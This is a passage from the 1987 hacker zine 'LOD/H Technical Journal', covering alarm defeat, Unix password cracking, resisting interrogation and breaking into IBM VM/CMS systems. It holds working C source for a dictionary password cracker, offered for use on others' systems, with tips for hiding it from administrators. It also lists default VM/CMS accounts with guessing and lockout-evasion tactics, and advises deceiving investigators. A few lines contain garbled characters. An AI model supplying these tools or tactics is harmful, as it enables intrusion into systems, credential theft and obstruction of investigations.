sensor, and the red LED lights, or blinks for a few seconds. You +can use this to your advantage to test theories or methods during a time which +a receiver pays no attention to the signals sent to it. Then when it is turned +on, you will have more confidence in what you are doing. + +Supervised loops: Most if not all devices will have supervised loops for +constant monitoring of battery power, electrical shorts, and defective devices. +If the security system of the facility is very old, loops may not be +supervised, and simply cutting a wire will disable the alarm. + +Naming of devices: For large orders, manufactures of security devices may put +the facility's name on the product instead of their own. This is probably for +esoteric purposes. This hampers your efforts in obtaining the name of the +maker of any type of product for purposes of geting additional information and +brochures on the device. + +Single person entry: These devices include mechanical and optical turnstiles +which meter people in and out one-by-one. Mantraps, usually found in high +security installations are double-doored chambers which allow only one person +in at a time, and will not allow the person out until the system is satisfied +he is authorized. + +Extreme weather conditions: Unlike perimeter security devices, most exterior +security devices are either placed inside the facility, or can withstand just +about any type of environmental condition, so there is not much that you can +take advantage of. + +CONCLUSION: +----------- + +People typically make security a lower priority than less important things. +Those who do not upgrade their systems because of spending a few dollars are +rewarded by being ripped off for thousands. I have no pity for those who do +not believe in security, physical or data... + + +ACKNOWLEDGEMENTS: +----------------- + +Gary Seven (LOH) + +And of course, the information from brochures, and questions answered by the +nice technical support people for the companies specifically mentioned in this +article. + +The LOD/H Technical Journal: File #6 of 10 + + +A Discreet Unix Password Hacker +------------------------------- + +By Shooting Shark / Tiburon Systems 4 Mar 87 + + Imagine this familiar situation: you have an account on a Unix system. +Perhaps it's your account on your school's VAX, or an account you've hacked +yourself. You'd like to collect more passwords to this system - perhaps +to the 'root' or 'bin' accounts so you can take control of the system, or the +password of the class hotshot who's going to get an 'A' on his compiler +project and upset the curve unless you go in and erase all of his files. +The problem is getting these passwords. The most obvious method would be to +manually enter login/password combinations until you found one. This is +slow (>10 seconds per try), will give you sore fingers, and multiple +invocations of the 'login' program may be noticed. You could write a program +on your micro to dial up the site (*if* it has a dialup) and try passwords +from a login/password pool, but this is just as slow, ties up your computer +and your phone line, and again is subject to easy detection. The solution +to this problem is to have the system itself hack passwords for you. +It can do this unattended and at a considerable speed while you go about +your life, and will be difficult to detect by system demigods. + +Here is the C source for my program. Upload it to your Unix site and +compile it. + +--- cut here --- +/* + * hpw.c v1.4: 8 October '86 + * Written by Shooting Shark / Tiburon Systems + * + */ + +#include +#include +#include +#include + +struct passwd *pwd, *getpwname(name); + +int len, abort(), endpwent(); + +char crbuf[30], *strcpy(), *crypt(), *getpass(), *getlogin(), *pw, pwbuf[10]; + +main(argc, argv) +int argc; +char *argv[]; +{ + +FILE *fopen(), *fp; + +char *uname; +signal(SIGINT,abort); + + +if (argc !=3) { + printf("usage : %s username pwfile\n",argv[0]); + exit(-1); + } + + + + + +if (!(pwd =getpwnam(argv[1]))) { + printf("unknown user : %s\n",argv[1]); + exit(-1); + } + +if ((fp = fopen(argv[2], "r")) == NULL) { + perror(argv[2]); + exit(-1); + } + + + +sprintf(crbuf,"%s",pwd->pw_passwd); + +printf("hacking %s\n",argv[1]); +printf("encrypted password : %s\n",crbuf); + +while (fgets(pwbuf, 20, fp) != NULL) { + pwbuf[strlen(pwbuf)-1] = '\0'; + pw = crypt(pwbuf,crbuf); + if (!strcmp(pw,crbuf)) { + printf("%s ==> %s\n",argv[1],pwbuf); + exit(0); + } + } +printf("done -- password not found.\n"); + + + endpwent(); + + +} + +abort() +{ +printf("aborted while trying '%s'\n",pwbuf); + +exit(-1); +} + +--- cut here --- + +(Note - written on a Pyramid 90x running Berzerkeley Unix 4.2. If you're +running SysV or something else you may have problems. You probably +won't, but you might.) + +Now that you have the above compiled into a file called 'hpw,' invoke +it with + +% hpw username pwfile +( % is the shell prompt; don't type it...) + +where username is the login name of the user who's password you'd like +to hack, and pwfile is the path of a text file that contains the pool of +likely passwords. Most sites will have a file of words for the 'spell' +spelling checker - it will probably be /usr/dict/words and contain at least +15,000 potential passwords. + +Hpw starts by loading the user's encrypted password from /etc/password and +stores it in crbuf. It then starts reading words from the file you've +specified, encrypts them using the crypt() routine, and compares them to +the encrypted password. If they match, the program outputs a line like: +'shark ==> hispassword' and quits. If they don't match, it goes on to the +next potential password. If the program goes through the entire list and +doesn't find the correct password, it prints 'done -- password not found' +and quits. If you hit ^C (or BREAK, or whatever your interrupt character +is) the program tells you which word in the file it had gotten to when +it was interrupted and quits. Then, the next time you attempt to hack that +login name, you can start where you left off during the previous session. + +The beauty of this program is that you can run it in background with the +output sent to a file and then log off, or play rogue, or whatever. To +hack melody's password using /usr/dict/words as your pool file, and to +have all messages generated by the program sent to a file called 'out.file' +and run the program in background, you'd enter from csh: + +% hpw melody /usr/dict/words > out.file & + +the & signifies a background process. The system will print something like: +[1] 90125 +this means it's job number 1 for you, and has process id 90125. To bring +the program back into the foreground, enter: + +% %1 + +and to kill the process, type + +% kill 90125 + +if you have hpw running in background and you're in csh, you can just log off +and the program will continue to silently gather passwords. If you're under +the sh shell, you'll need to run the program with 'nohup' (read the man +entry for more info) or sh will kill the process when you log out. + +Anyway, after you've given the program sufficient time to go through the +list (more on this in a second), log in again. If the output file exists, +the program has completed its job. Otherwise use 'ps' to see if the program +is still running. cat the file and you'll see something like this: + +hacking melody +encrypted password : K4h7iidD1vX0a +melody ==> joshua (or 'done -- password not found') + +make a note of melody's password, rm the incriminating output file, and +move on to the next login name. Easy, huh? + +Now for the bad news: The designers of Unix weren't stupid. They +deliberately designed the crypt() routine so that it's unique (it's a minor +deviation of the DES, so you can't use a fast DES-busting program to attack +the /etc/passwd file). This program uses the fastest possible method of +brute-force hacking Unix passwords, but it isn't too speedy itself. I wrote +the program on a Pyramid 90x, which is a 32-bit multi-processor +RISC-architecture machine. When running this program in foreground while I was +the only user on the system, it averaged 2 seconds per try. You can expect +this performance on one of the better VAXen. If you're on a Cray (sure...) it +might take the program 1/8 second per hack. If you're on an AT running XENIX +or a PDP-11/44, expect 5 seconds per try. (I really don't know how long it +would take, why don't some people time it and give me feedback...I'd appreciate +it.) + +Realistically, if you're using the system's spelling-checker word list that +contains 20,000 words and you're running the program in background, give +it at least 12 hours. If you have a system operator who likes to keep +track of people's long-running jobs, tell them via mail that you'll be +computing the limit of 1/x to infinity or something like that and they'll +leave the process alone. If you have your own file of 100 probable passwords +(such as 'joshua,' 'secret' or the person's name) it will take 10 minutes +or so to complete. Sensible selection of potential passwords (most UNIX +systems don't allow passwords of less than 5 characters; attempt to change +your password to progressively shorter and shorter words until you find out +what your system's minimum length is) and running the program at strategic +times (like after midnight) will cut the time down. + +Hackers who know 'C' (and everybody should know C by now; it's the best +language ever designed) will want to modify the program I've presented. +You may want to 'hard code' the username to be hacked and the pwfile path; +'progname root word.file' on a process table might look a LITTLE suspicious +to snoopy system operators (and it goes without saying that you shouldn't +call the program 'hack' or 'hpw', nor leave the source unencrypted in your +directory). Also, since the crypt() routine is universal, you can hard-code +the 'crbuf' variable with the encrypted password (from /etc/passwords) +of a user on another system! When hardcoding a password, make sure you spell +it correctly, and that it contains exactly 13 characters of upper & lower case, +and/or numbers. I once successfully hacked the root account of an AT&T Micro in +Michigan on my local Pyramid 90x. Thus I didn't need to take up space on the +guy's file system with the source and didn't have to run the program on his +slow system - once I obtained the 6300's /etc/passwd file from the person who +hacked into the system, I attacked it at my local site. If you happen to have +a system of your own that runs Unix, you can hack any system's root account at +home, completely risk-free. + +Unix is the best operating system I've ever used. It's immensely powerful; +as demonstrated by the program above, it's easy to make the system work for +you. If you have any questions, comments, criticisms, threats, etc, get in +touch with me - my primary goal is not to prove that I'm more of a Unix Wizard +than the other guy, but rather to do my part in the ongoing crusade to make +forbidden information available to the people who can use it. +'Knowledge is Power,' as the saying goes. + +-- Shark. + +(>---------------------------------------------------------------------------<) +The LOD/H Technical Journal: File #7 of 12 + + + Intelligence and Interrogation Processes + By: Master Of Impact and the Legion Of Hackers + + + INTRODUCTION: + ============= + + Doing what we do best always carries the risk of someone, somewhere, wanting +to hold you for questioning. In this article I hope to give those persons who +never have been exposed to this type of thing a little insight to the methods +that are in use (and are in no ways happen to be all new), that can give you +the edge you need to come away "sin faulta". In fact, these interrogation +practicies are used a lot by teachers, local police, the FBI and Secret Service +girlfriends, wives, parents, etc. to obtain information from you that you +probably don't want to give out. + + Interrogation is the art of questioning and examining a source in order to +obtain the maximum amount of useful information. The goal of any interrogation +is to obtain useful and reliable information in a lawful manner and in a +minimum amount of time. The goal of any source is to deceive or hinder any +attempts of the interrogator to get information out of him. + + This article will deal primarily with the principles, techniques, and +procedures of intelligence interrogation. By reading this article, one +who runs the risk of being interrogated can build countermeasures for common +interrogation techniques. This article has some paraphrased material from a +government interrogation manual but the majority of the information was from +personal experience and prior knowledge of the subject. + + You cannot hope to defeat interrogation techniques unless you first know +what they are. The ones listed herein are the most commonly used. After reading +this article, you should be able to tell when you are being interrogated by +people, and what technique(s) they are using when you probably would not have +known before. Once you know what they are up to and how they are going to TRY +to accomplish it, YOU have the initiative! + + + INITIATIVE: + =========== + + Achieving and maintaining the initiative is essential to a successful +interrogation just as offense is the key to success in combat oPe`#K=9"+v +initiative in any interrogation must rest with the interrogator throughout the +entire interrogation. He will have certain advantages at the beginning of an +interrogation which will enable him to grasp the initiative and assist in +maintaining the initiative throughout the interrogation. + + The interrogator has a position of authority over you. You realize this +fact, and in some cases, believe that your future might well depend upon your +association with the interrogator. As in the case of police questioning, +"cooperate and we will go easy on you". Like hell they will. + + The interrogator knows the purpose of the interrogation; the source does +not necessarily know the exact reason, but can generally assume (especially +in the case of a computer hacker or phone phreak, which is what the term +"source" will be referring to during this article) because he or she is most +usually conscious of horrible and nasty wrong-doings he or she may have been +responsible for. Unfortunately for the source, he is generally very much in +the dark about what's happening to his life while it is, in fact, crumbling +around him (temporarily, anyway). This gives the source a not-so-illusionary +behavior pattern of the proverbial chicken who's had its head chopped off. + + Having gained the initial advantage which is quite an understatement, +seeing that, although the risks to the source during the perpetration of +a crime are quite obvious, the possible realistic results of being caught +aren't quite as impressive while one is getting away with a crime than when +one's home is invaded by the JC Penny-suit men wearing mirrored sunglasses, +the interrogator must strive to maintain the initiative applying appropriate +interrogation techniques through the exercise of self-control; by taking +advantage of the source's weaknesses as they become apparent; and by +continuously displaying an attitude of confidence and self-assurance. The +interrogator, however, is 'supposed' to never take advantage of your weaknesses +to the extent that the interrogation involves threats, insults, torture +or exposure to unpleasant or inhumane treatment of any kind. Remember, the +keyword is supposed. + + It is possible for the interrogator to lose the initiative during the +interrogation of a source. If this should occur, he will probably postpone the +interrogation and reassess the situation. If the interrogation is resumed, a +different interrogator will probably be introduced. Following are some examples +of loss of initiative: + +* The interrogator becomes angry and completely loses his self-control because + of the arrogant actions of the source (such as the unbuttoning of a jacket + to reveal "Secret Service Sucks" spray painted onto the source's T-shirt.) + As a result, the interrogator loses sight of his objective and concentrates + his efforts on humbling the source. + +* During the interrogation the interrogator fails to note significant + discrepancies in the source's story. The interrogator may lose his initiative + as the source gains confidence from his success and resorts to further + deception, leading the interrogator away from his objective. + +* The interrogator becomes overly friendly with the source and allows him to + lead the interrogation. The source reports only what he believes to be + important and neglects several significant items of info which could have + been obtained had the interrogator maintained the initiative. + + + PHASES OF INTERROGATION: + ======================== + + Approach Phase: + --------------- + + Regardless of the type of source you are and your outward personality, you +do possess weaknesses which, if recognized by the interrogator, can be +exploited. A human being is likely to: + + o Talk, especially after harrowing experiences + o Show deference when confronted by superior authority + o Rationalize acts about which he feels guilty + o Lack the ability to apply or to remember lessons he may have been + taught regarding security if confronted with a disorganized or a + strange situation. + o Cooperate with those who have control over him + o Attach less importance to a topic which the interrogator demonstrates + identical or related experiences and knowledge + o Appreciate flattery and exoneration from guilt + o Cooperate readily when given material rewards + o Cooperate readily when treated as an equal + + + TECHNIQUES: + =========== + + "File and Dossier" + ---------------- + + The interrogator prepares a dossier containing all available info obtained +from records and docs concerning you. Careful arrangement of the material with- +in the file may give the illusion that it contains more data than is actually +there. The file may be "padded" with extra paper, if necessary. Index tabs with +titles such as "education", "employment", "criminal record", "bulletin boards", +"violated computer systems", and others are particularly effective for this +purpose. The interrogtor will confront you with the dossier at the beginning of +the interrogation and explain that "intelligence" has provided a complete +record of every significant happening in your life; therefore, it would +be useless to resist interrogation. The interrogator may read a few selected +bits of known data to further impress you. If the technique is successful, you +will be impressed with and more importantly, terrified by the "voluminous" +file, conclude that everything is known, and resign to complete cooperation. + + + "We know ALL" + ----------- + + This technique may be employed in conjunction with the above or by itself. +The interrogator must first become thoroughly familiar with the available data +concerning you. To begin the interrogation, the interrogator asks questions +based on his known data. When you hesitate, refuse to answer, or provide an +incomplete or incorrect reply, the interrogator himself provides the detailed +answer. Through the careful use of the limited number of known details, the +interrogator may convince you that all the info is already known; therefore, +your answers to the questions are of no consequence. When you begin to give +accurate and complete information, the interrogator interjects questions +designed to gain the needed info. Questions to which answers are already known +are also asked to test you and to maintain the deception that all the info is +already known. A VERY effective technique I might add. + + + "Rapid Fire" + ---------- + + This approach technique involves a psychological ploy based on the principles +that: + + * Everyone likes to be heard when they speak; and + + * It is confusing to be interrupted in mid-sentence with an unrelated + question. + + This technique may be used with one, or simultaneously by two or more +interrogators in questioning the same source. In employing this technique the +interrogator asks a series of questions in such a manner that you do not have +time to answer a question completely before the next question is asked. This +tends to confuse you and you are apt to contradict yourself, as you have little +time to prepare your answers. The interrogator then confronts you with the +inconsistencies, causing further contradictions. In many instances you +will begin to talk freely in an attempt to explain yourself and deny the +inconsistencies pointed out by the interrogator. In attempting to explain your +answers, you are likely to reveal more than you intend, thus creating +additional leads for the interrogator. + + + "Mutt and Jeff" + ------------- + + This technique involves a psychological ploy which takes advantage of the +natural uncertainty and guilt which a source has as a result of being detained +and questioned. Use of this technique necessitates the employment of two +experienced interrogators who are convincing as actors. Basically, the two +interrogators will display opposing personalities and attitudes towards you. +For example the first interrogator is very formal and displays an unsympathetic +attitude. This is to make you feel cut off from your friends. At the time when +you act hopeless and alone, the second interrogator appears (having received +his cue by a signal, and is hidden from you), scolds the first interrogator for +his harsh behavior and orders him from the room. He then apologizes to soothe +you, perhaps offering coffee and a cigarette. He explains that the actions of +the first interrogator were largely the result of an inferior intellect and +lack of human sensitivity. The inference is created that the other interrogator +and you have in common a high degree of intelligence and an awareness of human +sensitivity, above and beyond that of the first interrogator. You are normally +inclined to have a feeling of gratitude towards the second interrogator, who +continues to show a sympathetic attitude in an effort to increase the rapport +and control for the questioning which will follow. Should your cooperativeness +begin to fade, the second interrogator can hint that since he is of high rank, +having many other duties, he cannot afford to waste time on an uncooperative +source. He may broadly infer that the first interrogator might return to +continue the questioning. When used against the proper source, this trick will +normally gain complete cooperation for the interrogation. + + + "Repetition" + ---------- + + Repetition is used to induce cooperation from a hostile source. The inter- +rogator listens carefully to your answer to a question, and then repeats both +the question and answer several times. He does this with each succeeding +question until you become so bored with the procedure that you answer the +question fully and truthfully to satisfy the interrogator and to gain relief +from the monotony of this method of questioning. The repetition technique will +Y{Od ='fbgenerally not work when employed against introverted sources or those having +great self control. + + + "Pride and Ego" + ------------- + + This technique works effectively on many phreaks and hackers due to the fact +that many are so damn egotistical. The strategy is to trick you into revealing +desired information by flattering you. It is effective with sources who have +displayed weaknesses or feelings of inferiority. The interrogator accuses you +of weakness or implies that you are unable to do a certain thing. The proud or +egotistical source will jump to the defensive. An example of an opening +question for this technique may be: "Why would you own a blue box when you +have absolutely no idea how to use one?" or, "Why do you hack VMS systems if +you can't do a damn thing once you're inside of one?" It provides you with the +opportunity to show someone that you have "brains" and in doing so, you give +the interrogator more information than you should have. + + + "Silent" + ------ + + The Silent technique may be successful when used against either the nervous, +or the confident-type source. When employing this technique, the interrogator +says nothing to you, but looks you squarely in the eye, probably with a slight +smile on his face. It is important for the interrogator not to look away from +you, but force you to break eye contact first. You will become nervous, begin +to shift around in your chair, and look away. If you ask questions the +interrogator probably will not answer them until he is ready to break the +silence. A source may blurt out questions such as, "What the hell do you want +with me". When the interrogator is ready to break the silence, he may do so +with some quite nonchalant questions such as, "You've been logging on to our +system for a long time now, haven't you? Did you hack the passwords yourself?". + + In some cases the interrogator will use several approach techniques +concurrently, or in succession. + + + QUESTIONS: + ========== + +There are various questions that the interrogator may ask you: + +* Prepared questions: When the topic under inquiry is very technical or when + legal aspects of the interrogation require preciseness, the interrogator will + have a list of prepared questions to follow during the interrogation. + +* Control questions: To maintain control and to check on the truthfulness of + a source, the normal questions will be mixed with control questions-those + with known answers. If you fail to answer these questions, or answer wrong, + it will indicate that you are either not knowledgeable in the topic or that + you are lying. + +* Nonpertinent questions: Sometimes it is necessary for the interrogator to + keep the true objective of the interrogation from you. By carefully blending + pertinent questions with nonpertinent questions, the interrogator can conceal + the true purpose of the inquiry. + +* Direct and leading questions: The manner in which the questions are worded + has a direct bearing on your response. A question may be posed in a number + of ways: + + o "What system did you hack into on 11/11/86?" + + o "Did you break into General Dynamics' computer on 11/11/86?" + + o "You did break into GD's computer on 11/11/86?" + + o "You didn't break into GD'S computer on 11/11/86, did you?" + + + + PSYCHOLOGY IN INTERROGATION: + ============================ + +The interrogator will watch for various psychological responses from you during +an interrogation. Some of these are: + +* Rationalization: Creating plausible excuses or explanations for one's acts + without being aware that these excuses or explanations are way off the + [obvious] reality. + +* Identification: To identify with and mimic a mental image of some one + important to you. + +* Compensation: Trying to make up for a psychological weakness by building + up or exaggerating a psychological strength. + +* Exhibitionism: Showing off, bragging, etc. + +* Fear, Anger, Frustration, etc. + +Of course when being interrogated, you should remain as emotionless as possible +and never show anger, or get upset (NEVER inflict physical abuse upon the +unsuspecting interrogator. This only creates tension between both the inter- +rogator and yourself). Your every move, every response, every action is noted +and used by the interrogator to get you to screw up and give him what he wants. + +There can be two main objectives that you can obtain when being interrogated. +The first is to find ways to force the interrogator to lose his initiative. You +can do this in many ways. A few that come to mind are: Repeat everything the +interrogator says. Mimic the interrogator. Laugh at the interrogator. Basically +piss the interrogator off and make him so mad that he loses sight of his +objective. This may however, get you in deeper trouble, but it may give you +extra time while another interrogator is found. + +Lie like hell to the interrogator and piss him off. Such as the pathological +liar gimmick: "I broke into the NSA's computer, yeah, and then used their +network to get into the presidents private computer yeah that's it, the +password was uh...Bonzo, yeah, and then used it to take control of a satellite +used for Star Wars, and made it land right on top of the Kremlin, yeah that's +the ticket!" + +You can also change the subject over and over again to totally unrelated things +such as: its a nice day out today, hows the wife and kids, how about some food, +who do you think is going to the superbowl, etc. + +The other and probably better objective is simply to pretend to fall for any of +the various techniques used against you and feed the interrogator more and more +bullshit, of course being very sincere. This way he gets totally bogus +information while thinking you are cooperating fully. + +Well, I hope you never have to put this article to use in a legal manner, but +you would be surprised how everyday you are interrogated without even +realizing it by normal people who probably don't realize they are interrogating +you! + +As stated in the other articles, you can reach me for comment via the staff +account. + +MofI (LOH) + +The LOD/H Technical Journal: File #8 of 10 + + + Lex Luthor + and + The Legion Of Hackers + Present: + + Hacking IBM's VM/CMS Operating System + Part A + + +INTRODUCTION: +------------- + + IBM mainframes make up over 50% of the mainframes used in the United +States. These systems are traditionally used in industries such as insurance, +banking, universities and so on. For some reason, IBM systems as a whole have +not been very popular with hackers. This may be due to the complexity of the +Operating Systems run on IBM systems compared to others such as UNIX or VMS. +Another reason may be that there is much variety from shop to shop. IBM systems +are more commonly modified and customized to fit an individual corporations +need and the lack of "universality" for commands, files, programs and other +procedures makes it difficult to attempt to use without any type of specific +documentation. The lack of detailed on-line help also hinders the hacker. I +believe that the VM/CMS Operating System is by far the best and easily learned +of the IBM systems. But compared to other Operating Systems like UNIX or VMS, +VM/CMS is cumbersome and harder to learn. + + +ACRONYMS: +--------- + + Before I even attempt to start this article, I will list the IBM-specific +acronyms used in this article and some others that you may find on various IBM +systems. I list them here so I will not have to do it throughout this article. +If you don't know what one of them means later, just refer back to this list. + +VM/SP: Virtual Machine/System Product +CP: Control Program +CMS: Conversational Monitoring System +HPO: High Performance Option +VSE: Virtual Storage Extended +MVS: Multiple Virutal Storage +TSO: Time Sharing Option +JES: Job Entry System +CICS: Customer Information Control System +VSAM: Virtual Storage Access Method +VTAM: Virtual Telecommunications Access Method +IX: Interactive Executive + +IPL: Initial Program Load +IVP: Istallation Verification Program +RSCS: Remote Spooling Communications Subsystem +DASD: Direct Access Storage Device +EREP: Environmental Recording Editing and Printing +SNA: Systems Network Architecture +NCCF: Network Communications Control Facility +REXX: Restructured Extended Executer Language +VTOC: Volume Table Of Contents +DOCS: Display Operator Console System +JCL: Job Control Language +ACF: Advanced Communications Functions +SQL/DS: Structured Query Language/Data System +DBA: Data Base Administrator +GCS: Group Control System +SCP: System Control Program +FDP: Field Development Program +CNA: Communications Network Application +POF: Programmable Operator Facility +PSW: Program Status Word +SSCP: Subsystem Services Control Point +IPCS: Interactive Problem Control System +DCSS: Discontiguous Shared Segments +VMCF: Virtual Machine Communications Facility +FIFO: First In First Out +LIFO: Last In First Out +AP: Attached Processor +MP: Multi-Processor +R/O: Read/Only +R/W: Read/Write + + +LOGGING IN: +----------- + + Typically, when you come across a CMS system, it will respond with: + +VM/370 ONLINE +! + +. + + +This message is somewhat of a contradiction. The majority of VM/CMS systems are +rarely run on actual 370 systems but on other processors, such as the 43XX +series and the 30XX series. + +The period "." prompt is the surest way of verifying that you have indeed +connected to a VM/CMS system, aside from the "VM/370 ONLINE" message which is +usually printed. This prompt should not be confused with DEC's TOPS-10 system, +which also has the prompt of a period. The older versions of VM/CMS responded +as shown above. The newer versions will give you this menu: + +Enter one of the following commands: + + LOGON userid (Example: LOGON VMUSER1) + DIAL userid (Example: DIAL VMUSER2) + MSG userid message (Example: MSG VMUSER3 GOOD MORNING) + LOGOFF + +This menu may vary from system to system, since they may opt to not allow a +command to be used before logging in and will omit it from the menu or they may +add some commands. When hacking a system this menu will appear before you can +attempt to login, thus becoming very tedious and time consuming especially at +300 baud as you have to wait an eternity for each logon attempt. + +Other responses after connecting are "Ready to Host", "Press break key to begin +session" and "Invalid Switch Characters". The last response is commonly found +on Telenet and other packet switched networks, in which you may have to specify +"VM" for a VM/CMS system, or "TSO" for a MVS/TSO system. There may be other IBM +systems to select from, or "VM" may not be a valid system. You may also have to +specify "LOGON VM" or just "LOGON" before the port selector connects you to the +host system. + +LOGON can be abbreviated as just "L". A userid can be from 1-8 characters in +length, but the first character MUST be a letter (In most systems you come +across this will be true, but due to customization of systems, its possible +this and even the 8 character password limit may be extended). A typical logon +may look like: + +.L COMOSOLO SYSGUESS NOIPL + +"." is the system prompt, L is the LOGON command, COMOSOLO is the userid, +SYSGUESS is the password, and NOIPL is the only 'login qualifier' allowed for +the VM/CMS system. NOIPL specifies that the IPL name or device in the VM/SP +directory should not be used for an automatic IPL. IPL simulates the LOAD +button and the device address switches on the real computer console. Basically +it "boots" your part of the CMS system. This is another different concept. A +user can boot (or crash) their part of the system not the whole system (in most +cases). NOIPL would be used when a system dumps you into a program which allows +you little or no mobility such as a restricted menu of options (IE: A system +backup utility) and logs you off without gaining access to CMS. NOIPL will +prevent this program from running if it is listed in your automatic IPL entry +within the CP directory. This should allow you access to the system. Otherwise +the program was specified to run within your PROFILE EXEC which lists things to +be done upon logon. NOIPL is somewhat similar but not identical to the login +qualifier "/NOCOMMAND" for DEC's VAX/VMS systems. + +If the Password Suppression Facility is installed on the system, you will +receive an invalid format message whenever the userid and password are entered +on the same line. This is obviously a security measure to prevent users from +entering their password in full view of anyone who may be watching as the +password is not "masked". Thus, you will have to enter your password on a +separate line when the system prompts you for it. The advantage of entering the +userid and password on one line (especially at 300 baud) is that you can try +more userids and passwords in a shorter period of time while still availing +yourself to the systems generousness of informing you when an invalid userid +has been entered. + +Error messages: + +There are various error messages one may encounter while logging into a VM/CMS +system. The ones you should be most concerned about are: + +"Userid not in CP directory": When an invalid userid has been entered, you will +receive this message. This indication gives the hacker a distinct advantage for +gaining entry to the system. Probably the largest security hole for any system +is to tell you when a valid username has been entered. After all, obtaining a +valid userid is half the battle. The other half is obtaining a valid password. +Even the weakest Operating Systems no longer give an indication of when a valid +ID has been entered. Why IBM has not changed this is a mystery to me. + +When a valid userid is entered you will be asked to enter a password if you did +not already do so. If the password is correct, the system will attempt to log +you on, if not, you will receive one of two messages: + +"Logon unsuccessful--incorrect password": As has just been stated, a valid +userid has been entered but the password was incorrect. Passwords can be from +1-8 characters long, but in many cases the minimum length is changed to be at +least three characters. There is no difference between upper and lower case +letters for either the userid or password as they are converted to upper case +by the system which is another security flaw as it reduces password +possiblities. + +"Password incorrect - reinitiate logon procedure": This is the message received +on the older versions of VM/CMS, which means the same thing as the above msg. + +"Maximum password attempts exceeded, try again later": The threshold has been +reached for userid and/or password attempts. You will receive this message +every time you attempt to logon after exceeding the threshold until a variable +period of time (Probably from 1 to 5 minutes) has elapsed. This locks out ALL +users who attempt to login to the system from that particuler line. I am not +sure whether this is recorded anywhere or whether it is sent to the System +Console so try to determine how many attempts normally trigger this and keep +just short of it. + +"Already logged on": This message will appear when you attempt to logon with a +valid userid and password and that userid is already online. Unlike other +systems, VM/CMS will not allow the same userid to be logged on more than once. + +"Userid missing or invalid": As it implies, nothing was typed after entering +the LOGON command, or the format for the userid was not correct, ie: using a +number as the first character or a control character was used somewhere in the +userid field. + +"Error in CP directory": The CP directory is the main user directory for the +system. Entries in the directory contain: the userid and password, VM I/O +configuration, disk usage values, associated virtual and real addresses, +privilege classes, virtual processor size, and other options for each user. +Without the proper directory entry, a user cannot logon to the system. +Therefore receiving this error message. + +"Command not valid before logon": This occurs when you enter anything other +than the commands listed in the menu, ie: entering BONEHEAD will return this +message even though "BONEHEAD" isn't a valid command. Why this is I don't know. +So don't get all excited that you found a valid command but couldn't execute it +since you weren't logged on. + + +Accounts: + +By constantly compiling userids from various systems you should be able to +collect a nice list of accounts which may enable you to gain access to a +system. The following are a few which I have found: + +OPERATOR +CMSBATCH +AUTOLOG1 +OPERATNS +VMTEST +VMUTIL +MAINT +SMART +VTAM +EREP +RSCS +CMS +SNA + +As usual, use the username as the password. Things still haven't changed from +the Hacking VAX/VMS series...people are just as stupid as they were a few years +ago. + +There are many default accounts which have the passwords listed in some IBM +system manuals. These are hard to obtain and are very powerful since some +passwords are rarely changed. If you can get access to the defaults, it will +greatly expand your collection of systems, I guarantee it. + + +Dial: + +DIAL is used to logically connect lines, whether they be switched (regular +dial-up phone lines), leased (dedicated), or logically attached (directly +connected), to a previously logged on multiple-access system. The DIAL command +is the only substitute for the logon command. On systems running more than one +Operating System, DIAL is used to connect the user to one of those systems. +It is rather common to find two or more Operating Systems running parallel or +"under" one another. This is quite different from most other systems, which run +alone on the machine. One machine, one Operating System, but not IBM. The +ability to have multiple systems running simultaneously and still providing the +user with the illusion of it being a single system, (ie: the whole idea behind +multi-tasking machines is to provide each user with the full resources of the +machine so quickly that it appears that he or she is the only one using the +system) sets IBM apart from most other computer manufacturers. Some of the +systems which run on IBM's are: VM/CMS, MVS/TSO, DOS/VSE, OS/VS1. Some others +are: MUSIC, JES and IX/370 which is IBM's version of UNIX which runs under +VM/SP. + +It is always good to know what other systems are running, and if you are unable +to gain access to the 'primary' system, you may be able to gain access to one +of the 'secondary' system(s) by use of DIAL. Some systems will require you to +specify a line number for certain systems. Others will find a line for you if +one is not specified, assuming there are some allocated to that resource. +Userid's are also dialable. In some cases you have to dial through a particular +userid in order to gain access to certain systems or perform certain commands. +A typical logon to a DIALed system may look like: + +.DIAL MUSICB + +DIALED TO MUSICB 040 + +*Miscellaneous Computer Services MUSIC/SP 1.1 SIGN ON. + +.RESET + +DROP FROM MUSICB 040 + +VM/370 +! + +. + +When it comes to finding a valid line number for systems that can be reached +via DIAL, you could be in for some trouble. If the system requires a line +number to be entered (unlike the above example, where line 040 was found +automatically) you will not only have to come up with a defined line number, +but one that is associated with the system you are attempting to access. +Usually you can find this information after logging on to the VM/CMS system in +various files, but if you cannot get in, you will have to sequentially enter +line numbers. Some that I have seen are 001, 01B, 41A, 040. + +The VM/CMS system does not appear to limit the number of DIAL attempts a user +can make, unlike LOGON attempts. Programming your micro to search for a valid +line number to a system should work with no problem. + +To drop the dialed connection just type RESET. + +Error Messages: + +"Line(s) not available on 'sysname'.": Either there are no lines allocated to +the system, or you must enter a correct line number. + +"Invalid device type - 'sysname' 'line#': You have entered a valid system or +userid and line number, but the device you are on (the terminal) is invalid. In +this case, a GRAF (Graphics) device, system console or 3270 terminal may be the +only valid device. + +"'userid' not logged on": The DIAL command cannot be executed unless the user +(or system) specified is logged on. + +"'line#' does not exist": A valid userid/system has been entered but the line +number for that userid/system is not valid. + + +Message: + +MSG is used to send messages to users who are currently logged on. This command +can be issued before (if specified by the logon menu) and after logging in. + +MSG OPERATOR Help! I lost my password! My userid is COMOSOLO + +This will send a message to the primary system operator of the system. If there +is only one CLASS A user online, the message will be sent to his terminal. + +MSG * + +This will send a message to yourself. This is useful for identifying the +current userid of an abandoned terminal. + + +Logoff: + +The LOGOFF command can be abbreviated as LOG. After logging off you will +receive the following: + +CONNECT= 00:33:54 VIRTCPU= 000:00.28 TOTCPU= 000:01.76 +LOGOFF AT 17:05:44 EST THURSDAY 04/16/87 + +CONNECT is the actual clock time you spent while on the system. +VIRTCPU is the virtual CPU time that was used. +TOTCPU is the total CPU time both virtual and overhead that was used. + + +The HOLD command will hold the connection allowing you to re-logon again +without having to re-dial the system. + +.LOG HOLD + + +SECURITY SOFTWARE: +------------------ + +There are various weaknesses within VM/CMS both internally and externally which +can be exploited. For this reason, various software security packages have been +written. There would not be a need for these in most cases if the people in +charge of system security knew what they were doing. Anyhow, these packages do +provide added security when properly implemented. The most commonly found are +VMSECURE and ACF2. TOP SECRET and RACF are others which are less common. These +packages are easily identified. + +After entering a valid userid VMSECURE responds with: + +VMXACI104R Enter logon password: + ************************** + HHHHHHHHHHHHHHHHHHHHHHHHHH + SSSSSSSSSSSSSSSSSSSSSSSSSS +. + + +One way to positively identify the use of VMSECURE is by using it as a 